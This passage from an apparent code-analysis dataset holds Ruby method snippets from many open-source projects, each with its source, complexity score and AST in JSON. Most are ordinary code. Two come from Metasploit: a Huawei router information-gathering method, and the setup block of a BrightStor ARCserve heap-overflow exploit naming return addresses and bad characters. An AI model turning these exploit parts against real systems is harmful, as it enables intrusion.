\"HTML_ENTITIES_REGEX\"]},{\"type\":\"const\",\"children\":[null,\"ESCAPED_CHARS\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"escape_js_separators_in_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"gsub!\",{\"type\":\"const\",\"children\":[null,\"JS_SEPARATORS_REGEX\"]},{\"type\":\"const\",\"children\":[null,\"ESCAPED_CHARS\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json\"]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Encoding\"]},\"UTF_8\"]}]}]}]}","id":"a1851a5c-a8f6-4364-846a-2341d539bb33"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/cli.rb","start_line":24,"raw_source":"def parse(args = ARGV.dup)\n      @config ||= Sidekiq.default_configuration\n\n      setup_options(args)\n      initialize_logger\n      validate!\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARGV\"]},\"dup\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]}]},{\"type\":\"send\",\"children\":[null,\"setup_options\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[null,\"initialize_logger\"]},{\"type\":\"send\",\"children\":[null,\"validate!\"]}]}]}","id":"10d5ae8b-26d9-457d-ae4d-6f958b69eb26"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/user_payment_source.rb","start_line":7,"raw_source":"def default_credit_card\n        credit_cards.default.first\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"default_credit_card\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"credit_cards\"]},\"default\"]},\"first\"]}]}","id":"894a0e02-e3de-479e-b2e1-aad3dabee141"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1113,"raw_source":"def test_attr_wrapper; skip # options\n    assert_equal(\"<p strange=*attrs*></p>\\n\", render(\"%p{ :strange => 'attrs'}\", :attr_wrapper => '*'))\n    assert_equal(\"<p escaped='quo\\\"te'></p>\\n\", render(\"%p{ :escaped => 'quo\\\"te'}\", :attr_wrapper => '\"'))\n    assert_equal(\"<p escaped=\\\"quo'te\\\"></p>\\n\", render(\"%p{ :escaped => 'quo\\\\'te'}\", :attr_wrapper => '\"'))\n    assert_equal(\"<p escaped=\\\"q'uo&#x0022;te\\\"></p>\\n\", render(\"%p{ :escaped => 'q\\\\'uo\\\"te'}\", :attr_wrapper => '\"'))\n    assert_equal(\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" ?>\\n\", render(\"!!! XML\", :attr_wrapper => '\"', :format => :xhtml))\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_attr_wrapper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p strange=*attrs*></p>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%p{ :strange => 'attrs'}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attr_wrapper\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p escaped='quo\\\"te'></p>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%p{ :escaped => 'quo\\\"te'}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attr_wrapper\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p escaped=\\\"quo'te\\\"></p>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%p{ :escaped => 'quo\\\\'te'}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attr_wrapper\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p escaped=\\\"q'uo&#x0022;te\\\"></p>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"%p{ :escaped => 'q\\\\'uo\\\"te'}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attr_wrapper\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" ?>\\n\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"!!! XML\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attr_wrapper\"]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"xhtml\"]}]}]}]}]}]}]}","id":"8ad27f5b-a7b9-4c5f-ab47-c2cb3761b949"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20241011054348_fix_unique_constraint_on_problem_check_trackers.rb","start_line":26,"raw_source":"def down\n    remove_index :problem_check_trackers, %i[identifier target], if_exists: true\n    add_index :problem_check_trackers, %i[identifier target], unique: true\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"problem_check_trackers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"sym\",\"children\":[\"target\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"problem_check_trackers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"sym\",\"children\":[\"target\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"8ded8027-69c8-4a97-825f-514921474925"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/theme_settings_manager/integer.rb","start_line":12,"raw_source":"def value=(new_value)\n    super(self.class.cast(new_value))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"value=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_value\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"cast\",{\"type\":\"lvar\",\"children\":[\"new_value\"]}]}]}]}","id":"9f27b35d-e593-4272-bea4-19fb138e3997"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/formatters/console_codes.rb","start_line":34,"raw_source":"def config_colors_to_methods\n          @config_colors_to_methods ||=\n            Configuration.instance_methods.grep(/_color\\z/).inject({}) do |hash, method|\n              hash[method.to_s.sub(/_color\\z/, '').to_sym] = method\n              hash\n            end\n        end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"config_colors_to_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config_colors_to_methods\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Configuration\"]},\"instance_methods\"]},\"grep\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_color\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"inject\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_s\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_color\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}]}","id":"8f9af2aa-cfe1-4217-bb2e-4f10020d49d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/cluster/mixins/puma_cluster_spec.rb","start_line":106,"raw_source":"def consume_output(process)\n    Thread.new do\n      loop do\n        line = process.readline\n        puts \"PUMA_DEBUG: #{line}\" if ENV['PUMA_DEBUG']\n      end\n    rescue StandardError\n    end\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"consume_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"process\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"readline\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PUMA_DEBUG\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PUMA_DEBUG: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]},null]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,null]},null]}]}]}","id":"cd3bab5c-a848-4e8c-bc22-0d24abe14bd3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/huawei_wifi_info.rb","start_line":141,"raw_source":"def get_router_info\n    print_status(\"Gathering basic device information...\")\n    res = send_request_raw(\n      {\n        'method' => 'GET',\n        'uri' => '/api/device/information',\n      }\n    )\n\n    unless is_target?(res)\n      return\n    end\n\n    resp_body = res.body.to_s\n\n    print_status(\"Basic Information\")\n\n    BASIC_INFO.each do |k, v|\n      if resp_body.match(v)\n        info = $1\n        print_status(\"#{k}: #{info}\")\n      end\n    end\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_router_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Gathering basic device information...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/api/device/information\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_target?\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"resp_body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Basic Information\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BASIC_INFO\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp_body\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]}]}]}]},null]}]}]}]}","id":"358e648e-caa3-4612-855b-350cce3f829f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/brightstor/message_engine_heap.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow',\n        'Description' => %q{\n          This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup\n          11.5. By sending a specially crafted RPC request, an attacker could overflow the\n          buffer and execute arbitrary code.\n        },\n        'Author' => [ 'MC' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2006-5143' ],\n          [ 'OSVDB', '29533' ],\n          [ 'BID', '20365' ],\n        ],\n        'Privileged' => true,\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 800,\n          'BadChars' => \"\\x00\\x0a\\x0d\\x5c\\x5f\\x2f\\x2e\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          ['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],\n        ],\n        'DisclosureDate' => '2006-10-05',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(6503)\n      ]\n    )\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"CA BrightStor ARCserve Message Engine Heap Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup\\n\"]},{\"type\":\"str\",\"children\":[\"          11.5. By sending a specially crafted RPC request, an attacker could overflow the\\n\"]},{\"type\":\"str\",\"children\":[\"          buffer and execute arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2006-5143\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"29533\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"20365\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[800]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r\\\\_/.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP4 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2083482824]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"UEF\"]},{\"type\":\"int\",\"children\":[2085885004]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2006-10-05\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[6503]}]}]}]}]}]}","id":"63327f01-f553-4adc-8223-44a9c0043d29"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/statuses/mutes_controller.rb","start_line":24,"raw_source":"def set_conversation\n    @conversation = @status.conversation\n    raise Mastodon::ValidationError if @conversation.nil?\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_conversation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@conversation\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"conversation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"ValidationError\"]}]},null]}]}]}","id":"52b226bb-9a89-4dc9-997b-4dc5c5c0d506"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/authenticator.rb","start_line":29,"raw_source":"private_class_method def self.authenticator_classes_cache\n    @authenticator_classes_cache ||= Hash.new do |hash, name|\n      hash[name] = authenticator_class_for(name)\n    end\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private_class_method\",{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"authenticator_classes_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@authenticator_classes_cache\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"authenticator_class_for\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"4bf21036-c918-45fd-9e72-f11836063341"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/relation_scoping_test.rb","start_line":204,"raw_source":"def test_scoped_find_joins\n    scoped_developers = Developer.joins(\"JOIN developers_projects ON id = developer_id\").scoping do\n      Developer.where(\"developers_projects.project_id = 2\").to_a\n    end\n\n    assert_includes scoped_developers, developers(:david)\n    assert_not_includes scoped_developers, developers(:jamis)\n    assert_equal 1, scoped_developers.size\n    assert_equal developers(:david).attributes, scoped_developers.first.attributes\n  end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scoped_find_joins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scoped_developers\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"joins\",{\"type\":\"str\",\"children\":[\"JOIN developers_projects ON id = developer_id\"]}]},\"scoping\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"where\",{\"type\":\"str\",\"children\":[\"developers_projects.project_id = 2\"]}]},\"to_a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"scoped_developers\"]},{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"lvar\",\"children\":[\"scoped_developers\"]},{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"jamis\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scoped_developers\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"attributes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scoped_developers\"]},\"first\"]},\"attributes\"]}]}]}]}","id":"344e4548-1e12-4438-ad99-933bb8a04f2e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/watched_word.rb","start_line":93,"raw_source":"def self.normalize_word(word)\n    # When a regular expression is converted to a string, it is wrapped with\n    # '(?-mix:' and ')'\n    word = word[7..-2] if word.start_with?(\"(?-mix:\")\n\n    word.strip.squeeze(\"*\")\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"normalize_word\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"word\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"(?-mix:\"]}]},{\"type\":\"lvasgn\",\"children\":[\"word\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[-2]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"strip\"]},\"squeeze\",{\"type\":\"str\",\"children\":[\"*\"]}]}]}]}","id":"62ede2e6-5e3f-431e-8de0-2576bb418e47"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_store/s3_store.rb","start_line":263,"raw_source":"def temporary_upload_path(file_name)\n      folder_prefix =\n        s3_bucket_folder_path.nil? ? upload_path : File.join(s3_bucket_folder_path, upload_path)\n      FileStore::BaseStore.temporary_upload_path(file_name, folder_prefix: folder_prefix)\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"temporary_upload_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"folder_prefix\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s3_bucket_folder_path\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"upload_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"s3_bucket_folder_path\"]},{\"type\":\"send\",\"children\":[null,\"upload_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileStore\"]},\"BaseStore\"]},\"temporary_upload_path\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"folder_prefix\"]},{\"type\":\"lvar\",\"children\":[\"folder_prefix\"]}]}]}]}]}]}","id":"7e444226-7d36-452c-8ac1-980b7e18a58e"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/controllers/api/v1/connectors_controller.rb","start_line":184,"raw_source":"def create_audit_log\n        resource_id = @resource_id || params[:id]\n        resource_link = @action == \"delete\" ? nil : build_link!(resource: @connector, resource_id:)\n        audit!(action: @action, resource_id:, resource: @audit_resource, payload: @payload, resource_link:)\n      